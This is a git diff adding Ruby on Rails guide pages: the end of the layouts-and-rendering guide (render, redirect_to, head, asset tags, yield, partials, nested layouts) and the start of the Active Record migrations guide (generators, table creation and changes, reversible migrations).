+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.
+
+For example, here's some code that will trigger this error:
+
+```ruby
+def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render action: "special_show"
+ end
+ render action: "regular_show"
+end
+```
+
+If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's [...]
+
+```ruby
+def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render action: "special_show" and return
+ end
+ render action: "regular_show"
+end
+```
+
+Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
+
+Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
+
+```ruby
+def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render action: "special_show"
+ end
+end
+```
+
+This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.
+
+### Using `redirect_to`
+
+Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+```ruby
+redirect_to photos_url
+```
+
+You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from:
+
+```ruby
+redirect_to :back
+```
+
+#### Getting a Different Redirect Status Code
+
+Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:
+
+```ruby
+redirect_to photos_path, status: 301
+```
+
+Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.
+
+#### The Difference Between `render` and `redirect_to`
+
+Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+
+Consider these actions to see the difference:
+
+```ruby
+def index
+ @books = Book.all
+end
+
+def show
+ @book = Book.find_by_id(params[:id])
+ if @book.nil?
+ render action: "index"
+ end
+end
+```
+
+With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:
+
+```ruby
+def index
+ @books = Book.all
+end
+
+def show
+ @book = Book.find_by_id(params[:id])
+ if @book.nil?
+ redirect_to action: :index
+ end
+end
+```
+
+With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.
+
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down [...]
+
+While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
+
+```ruby
+def index
+ @books = Book.all
+end
+
+def show
+ @book = Book.find_by_id(params[:id])
+ if @book.nil?
+ @books = Book.all
+ flash[:alert] = "Your book was not found"
+ render "index"
+ end
+end
+```
+
+This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.
+
+### Using `head` To Build Header-Only Responses
+
+The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+```ruby
+head :bad_request
+```
+
+This would produce the following header:
+
+```
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Or you can use other HTTP headers to convey other information:
+
+```ruby
+head :created, location: photo_path(@photo)
+```
+
+Which would produce:
+
+```
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Structuring Layouts
+-------------------
+
+When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+* Asset tags
+* `yield` and `content_for`
+* Partials
+
+### Asset Tag Helpers
+
+Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
+
+* `auto_discovery_link_tag`
+* `javascript_include_tag`
+* `stylesheet_link_tag`
+* `image_tag`
+* `video_tag`
+* `audio_tag`
+
+You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
+
+WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+#### Linking to Feeds with the `auto_discovery_link_tag`
+
+The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+
+```erb
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+ {title: "RSS Feed"}) %>
+```
+
+There are three tag options available for the `auto_discovery_link_tag`:
+
+* `:rel` specifies the `rel` value in the link. The default value is "alternate".
+* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
+* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS".
+
+#### Linking to JavaScript Files with the `javascript_include_tag`
+
+The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
+
+If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline.
+
+A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization)
+
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= javascript_include_tag "main" %>
+```
+
+Rails will then output a `script` tag such as this:
+
+```html
+<script src='/assets/main.js'></script>
+```
+
+The request to this asset is then served by the Sprockets gem.
+
+To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:
+
+```erb
+<%= javascript_include_tag "main", "columns" %>
+```
+
+To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:
+
+```erb
+<%= javascript_include_tag "main", "/photos/columns" %>
+```
+
+To include `http://example.com/main.js`:
+
+```erb
+<%= javascript_include_tag "http://example.com/main.js" %>
+```
+
+#### Linking to CSS Files with the `stylesheet_link_tag`
+
+The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
+
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= stylesheet_link_tag "main" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "columns" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "photos/columns" %>
+```
+
+To include `http://example.com/main.css`:
+
+```erb
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+```
+
+By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`):
+
+```erb
+<%= stylesheet_link_tag "main_print", media: "print" %>
+```
+
+#### Linking to Images with the `image_tag`
+
+The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
+
+WARNING: Note that you must specify the extension of the image.
+
+```erb
+<%= image_tag "header.png" %>
+```
+
+You can supply a path to the image if you like:
+
+```erb
+<%= image_tag "icons/delete.gif" %>
+```
+
+You can supply a hash of additional HTML options:
+
+```erb
+<%= image_tag "icons/delete.gif", {height: 45} %>
+```
+
+You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
+
+```erb
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+```
+
+You can also specify a special size tag, in the format "{width}x{height}":
+
+```erb
+<%= image_tag "home.gif", size: "50x20" %>
+```
+
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:
+
+```erb
+<%= image_tag "home.gif", alt: "Go Home",
+ id: "HomeImage",
+ class: "nav_bar" %>
+```
+
+#### Linking to Videos with the `video_tag`
+
+The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
+
+```erb
+<%= video_tag "movie.ogg" %>
+```
+
+Produces
+
+```erb
+<video src="/videos/movie.ogg" />
+```
+
+Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `size: "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).
+
+The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
+
+* `poster: "image_name.png"`, provides an image to put in place of the video before it starts playing.
+* `autoplay: true`, starts playing the video on page load.
+* `loop: true`, loops the video once it gets to the end.
+* `controls: true`, provides browser supplied controls for the user to interact with the video.
+* `autobuffer: true`, the video will pre load the file for the user on page load.
+
+You can also specify multiple videos to play by passing an array of videos to the `video_tag`:
+
+```erb
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+```
+
+This will produce:
+
+```erb
+<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
+```
+
+#### Linking to Audio Files with the `audio_tag`
+
+The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
+
+```erb
+<%= audio_tag "music.mp3" %>
+```
+
+You can supply a path to the audio file if you like:
+
+```erb
+<%= audio_tag "music/first_song.mp3" %>
+```
+
+You can also supply a hash of additional options, such as `:id`, `:class` etc.
+
+Like the `video_tag`, the `audio_tag` has special options:
+
+* `autoplay: true`, starts playing the audio on page load
+* `controls: true`, provides browser supplied controls for the user to interact with the audio.
+* `autobuffer: true`, the audio will pre load the file for the user on page load.
+
+### Understanding `yield`
+
+Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:
+
+```html+erb
+<html>
+ <head>
+ </head>
+ <body>
+ <%= yield %>
+ </body>
+</html>
+```
+
+You can also create a layout with multiple yielding regions:
+
+```html+erb
+<html>
+ <head>
+ <%= yield :head %>
+ </head>
+ <body>
+ <%= yield %>
+ </body>
+</html>
+```
+
+The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.
+
+### Using the `content_for` Method
+
+The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
+
+```html+erb
+<% content_for :head do %>
+ <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+```
+
+The result of rendering this page into the supplied layout would be this HTML:
+
+```html+erb
+<html>
+ <head>
+ <title>A simple page</title>
+ </head>
+ <body>
+ <p>Hello, Rails!</p>
+ </body>
+</html>
+```
+
+The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+
+### Using Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```ruby
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```ruby
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+```erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+#### Partial Layouts
+
+A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
+
+```erb
+<%= render partial: "link_area", layout: "graybar" %>
+```
+
+This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).
+
+Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.
+
+#### Passing Local Variables
+
+You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
+
+* `new.html.erb`
+
+ ```html+erb
+ <h1>New zone</h1>
+ <%= error_messages_for :zone %>
+ <%= render partial: "form", locals: {zone: @zone} %>
+ ```
+
+* `edit.html.erb`
+
+ ```html+erb
+ <h1>Editing zone</h1>
+ <%= error_messages_for :zone %>
+ <%= render partial: "form", locals: {zone: @zone} %>
+ ```
+
+* `_form.html.erb`
+
+ ```html+erb
+ <%= form_for(zone) do |f| %>
+ <p>
+ <b>Zone name</b><br />
+ <%= f.text_field :name %>
+ </p>
+ <p>
+ <%= f.submit %>
+ </p>
+ <% end %>
+ ```
+
+Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
+
+Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:
+
+```erb
+<%= render partial: "customer", object: @new_customer %>
+```
+
+Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.
+
+If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+```erb
+<%= render @customer %>
+```
+
+Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.
+
+#### Rendering Collections
+
+Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:
+
+* `index.html.erb`
+
+ ```html+erb
+ <h1>Products</h1>
+ <%= render partial: "product", collection: @products %>
+ ```
+
+* `_product.html.erb`
+
+ ```html+erb
+ <p>Product Name: <%= product.name %></p>
+ ```
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
+
+There is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
+
+```html+erb
+<h1>Products</h1>
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+
+* `index.html.erb`
+
+ ```html+erb
+ <h1>Contacts</h1>
+ <%= render [customer1, employee1, customer2, employee2] %>
+ ```
+
+* `customers/_customer.html.erb`
+
+ ```html+erb
+ <p>Customer: <%= customer.name %></p>
+ ```
+
+* `employees/_employee.html.erb`
+
+ ```html+erb
+ <p>Employee: <%= employee.name %></p>
+ ```
+
+In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+
+In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.
+
+```html+erb
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+```
+
+#### Local Variables
+
+To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:
+
+```erb
+<%= render partial: "product", collection: @products, as: :item %>
+```
+
+With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.
+
+You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
+
+```erb
+<%= render partial: "products", collection: @products,
+ as: :item, locals: {title: "Products Page"} %>
+```
+
+Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.
+
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+#### Spacer Templates
+
+```erb
+<%= render partial: @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.
+
+#### Collection Partial Layouts
+
+When rendering collections it is also possible to use the `:layout` option:
+
+```erb
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+```
+
+The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
+
+### Using Nested Layouts
+
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
+
+Suppose you have the following `ApplicationController` layout:
+
+* `app/views/layouts/application.html.erb`
+
+ ```html+erb
+ <html>
+ <head>
+ <title><%= @page_title or "Page Title" %></title>
+ <%= stylesheet_link_tag "layout" %>
+ <style><%= yield :stylesheets %></style>
+ </head>
+ <body>
+ <div id="top_menu">Top menu items here</div>
+ <div id="menu">Menu items here</div>
+ <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+ </body>
+ </html>
+ ```
+
+On pages generated by `NewsController`, you want to hide the top menu and add a right menu:
+
+* `app/views/layouts/news.html.erb`
+
+ ```html+erb
+ <% content_for :stylesheets do %>
+ #top_menu {display: none}
+ #right_menu {float: right; background-color: yellow; color: black}
+ <% end %>
+ <% content_for :content do %>
+ <div id="right_menu">Right menu items here</div>
+ <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+ <% end %>
+ <%= render template: "layouts/application" %>
+ ```
+
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
+
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render template: 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
new file mode 100644
index 0000000..086cf43
--- /dev/null
+++ b/guides/source/migrations.md
@@ -0,0 +1,1084 @@
+Active Record Migrations
+========================
+
+Migrations are a feature of Active Record that allows you to evolve your
+database schema over time. Rather than write schema modifications in pure SQL,
+migrations allow you to use an easy Ruby DSL to describe changes to your
+tables.
+
+After reading this guide, you will know:
+
+* The generators you can use to create them.
+* The methods Active Record provides to manipulate your database.
+* The Rake tasks that manipulate migrations and your schema.
+* How migrations relate to `schema.rb`.
+
+--------------------------------------------------------------------------------
+
+Migration Overview
+------------------
+
+Migrations are a convenient way to alter your database schema over time in a
+consistent and easy way. They use a Ruby DSL so that you don't have to write
+SQL by hand, allowing your schema and changes to be database independent.
+
+You can think of each migration as being a new 'version' of the database. A
+schema starts off with nothing in it, and each migration modifies it to add or
+remove tables, columns, or entries. Active Record knows how to update your
+schema along this timeline, bringing it from whatever point it is in the
+history to the latest version. Active Record will also update your
+`db/schema.rb` file to match the up-to-date structure of your database.
+
+Here's an example of a migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+end
+```
+
+This migration adds a table called `products` with a string column called
+`name` and a text column called `description`. A primary key column called `id`
+will also be added implicitly, as it's the default primary key for all Active
+Record models. The `timestamps` macro adds two columns, `created_at` and
+`updated_at`. These special columns are automatically managed by Active Record
+if they exist.
+
+Note that we define the change that we want to happen moving forward in time.
+Before this migration is run, there will be no table. After, the table will
+exist. Active Record knows how to reverse this migration as well: if we roll
+this migration back, it will remove the table.
+
+On databases that support transactions with statements that change the schema,
+migrations are wrapped in a transaction. If the database does not support this
+then when a migration fails the parts of it that succeeded will not be rolled
+back. You will have to rollback the changes that were made by hand.
+
+NOTE: There are certain queries that can't run inside a transaction. If your
+adapter supports DDL transactions you can use `disable_ddl_transaction!` to
+disable them for a single migration.
+
+If you wish for a migration to do something that Active Record doesn't know how
+to reverse, you can use `reversible`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+ def change
+ reversible do |dir|
+ change_table :products do |t|
+ dir.up { t.change :price, :string }
+ dir.down { t.change :price, :integer }
+ end
+ end
+ end
+end
+```
+
+Alternatively, you can use `up` and `down` instead of `change`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+ def up
+ change_table :products do |t|
+ t.change :price, :string
+ end
+ end
+
+ def down
+ change_table :products do |t|
+ t.change :price, :integer
+ end
+ end
+end
+```
+
+Creating a Migration
+--------------------
+
+### Creating a Standalone Migration
+
+Migrations are stored as files in the `db/migrate` directory, one for each
+migration class. The name of the file is of the form
+`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
+identifying the migration followed by an underscore followed by the name
+of the migration. The name of the migration class (CamelCased version)
+should match the latter part of the file name. For example
+`20080906120000_create_products.rb` should define class `CreateProducts` and
+`20080906120001_add_details_to_products.rb` should define
+`AddDetailsToProducts`. Rails uses this timestamp to determine which migration
+should be run and in what order, so if you're copying a migration from another
+application or generate a file yourself, be aware of its position in the order.
+
+Of course, calculating timestamps is no fun, so Active Record provides a
+generator to handle making it for you:
+
+```bash
+$ rails generate migration AddPartNumberToProducts
+```
+
+This will create an empty but appropriately named migration:
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ end
+end
+```
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
+followed by a list of column names and types then a migration containing the
+appropriate `add_column` and `remove_column` statements will be created.
+
+```bash
+$ rails generate migration AddPartNumberToProducts part_number:string
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ end
+end
+```
+
+Similarly,
+
+```bash
+$ rails generate migration RemovePartNumberFromProducts part_number:string
+```
+
+generates
+
+```ruby
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+ def change
+ remove_column :products, :part_number, :string
+ end
+end
+```
+
+You are not limited to one magically generated column. For example
+
+```bash
+$ rails generate migration AddDetailsToProducts part_number:string price:decimal
+```
+
+generates
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ add_column :products, :price, :decimal
+ end
+end
+```
+
+If the migration name is of the form "CreateXXX" and is
+followed by a list of column names and types then a migration creating the table
+XXX with the columns listed will be generated. For example:
+
+```bash
+$ rails generate migration CreateProducts name:string part_number:string
+```
+
+generates
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.string :part_number
+ end
+ end
+end
+```
+
+As always, what has been generated for you is just a starting point. You can add
+or remove from it as you see fit by editing the
+`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
+
+Also, the generator accepts column type as `references`(also available as
+`belongs_to`). For instance
+
+```bash
+$ rails generate migration AddUserRefToProducts user:references
+```
+
+generates
+
+```ruby
+class AddUserRefToProducts < ActiveRecord::Migration
+ def change
+ add_reference :products, :user, index: true
+ end
+end
+```
+
+This migration will create a `user_id` column and appropriate index.
+
+There is also a generator which will produce join tables if `JoinTable` is part of the name:
+
+```bash
+rails g migration CreateJoinTableCustomerProduct customer product
+```
+
+will produce the following migration:
+
+```ruby
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration
+ def change
+ create_join_table :customers, :products do |t|
+ # t.index [:customer_id, :product_id]
+ # t.index [:product_id, :customer_id]
+ end
+ end
+end
+```
+
+### Model Generators
+
+The model and scaffold generators will create migrations appropriate for adding
+a new model. This migration will already contain instructions for creating the
+relevant table. If you tell Rails what columns you want, then statements for
+adding these columns will also be created. For example, running
+
+```bash
+$ rails generate model Product name:string description:text
+```
+
+will create a migration that looks like this
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+end
+```
+
+You can append as many column name/type pairs as you want.
+
+### Supported Type Modifiers
+
+You can also specify some options just after the field type between curly
+braces. You can use the following modifiers:
+
+* `limit` Sets the maximum size of the `string/text/binary/integer` fields
+* `precision` Defines the precision for the `decimal` fields
+* `scale` Defines the scale for the `decimal` fields
+* `polymorphic` Adds a `type` column for `belongs_to` associations
+
+For instance, running
+
+```bash
+$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
+```
+
+will produce a migration that looks like this
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :price, precision: 5, scale: 2
+ add_reference :products, :user, polymorphic: true, index: true
+ end
+end
+```
+
+Writing a Migration
+-------------------
+
+Once you have created your migration using one of the generators it's time to
+get to work!
+
+### Creating a Table
+
+The `create_table` method is one of the most fundamental, but most of the time,
+will be generated for you from using a model or scaffold generator. A typical
+use would be
+
+```ruby
+create_table :products do |t|
+ t.string :name
+end
+```
+
+which creates a `products` table with a column called `name` (and as discussed
+below, an implicit `id` column).
+
+By default, `create_table` will create a primary key called `id`. You can change
+the name of the primary key with the `:primary_key` option (don't forget to
+update the corresponding model) or, if you don't want a primary key at all, you
+can pass the option `id: false`. If you need to pass database specific options
+you can place an SQL fragment in the `:options` option. For example,
+
+```ruby
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+ t.string :name, null: false
+end
+```
+
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
+(when using MySQL, the default is `ENGINE=InnoDB`).
+
+### Creating a Join Table
+
+Migration method `create_join_table` creates a HABTM join table. A typical use
+would be
+
+```ruby
+create_join_table :products, :categories
+```
+
+which creates a `categories_products` table with two columns called
+`category_id` and `product_id`. These columns have the option `:null` set to
+`false` by default.
+
+You can pass the option `:table_name` with you want to customize the table
+name. For example,
+
+```ruby
+create_join_table :products, :categories, table_name: :categorization
+```
+
+will create a `categorization` table.
+
+By default, `create_join_table` will create two columns with no options, but
+you can specify these options using the `:column_options` option. For example,
+
+```ruby
+create_join_table :products, :categories, column_options: {null: true}
+```
+
+will create the `product_id` and `category_id` with the `:null` option as
+`true`.
+
+`create_join_table` also accepts a block, which you can use to add indices
+(which are not created by default) or additional columns:
+
+```ruby
+create_join_table :products, :categories do |t|
+ t.index :products
+ t.index :categories
+end
+```
+
+### Changing Tables
+
+A close cousin of `create_table` is `change_table`, used for changing existing
+tables. It is used in a similar fashion to `create_table` but the object
+yielded to the block knows more tricks. For example
+
+```ruby
+change_table :products do |t|
+ t.remove :description, :name
+ t.string :part_number
+ t.index :part_number
+ t.rename :upccode, :upc_code
+end
+```
+
+removes the `description` and `name` columns, creates a `part_number` string
+column and adds an index on it. Finally it renames the `upccode` column.
+
+### When Helpers aren't Enough
+
+If the helpers provided by Active Record aren't enough you can use the `execute`
+method to execute arbitrary SQL:
+
+```ruby
+Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+```
+
+For more details and examples of individual methods, check the API documentation.
+In particular the documentation for
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
+(which provides the methods available in the `change`, `up` and `down` methods),
+[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
+(which provides the methods available on the object yielded by `create_table`)
+and
+[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
+(which provides the methods available on the object yielded by `change_table`).
+
+### Using the `change` Method
+
+The `change` method is the primary way of writing migrations. It works for the
+majority of cases, where Active Record knows how to reverse the migration
+automatically. Currently, the `change` method supports only these migration
+definitions:
+
+* `add_column`
+* `add_index`
+* `add_reference`
+* `add_timestamps`
+* `create_table`
+* `create_join_table`
+* `drop_table` (must supply a block)
+* `drop_join_table` (must supply a block)
+* `remove_timestamps`
+* `rename_column`
+* `rename_index`
+* `remove_reference`
+* `rename_table`
+
+`change_table` is also reversible, as long as the block does not call `change`,
+`change_default` or `remove`.
+
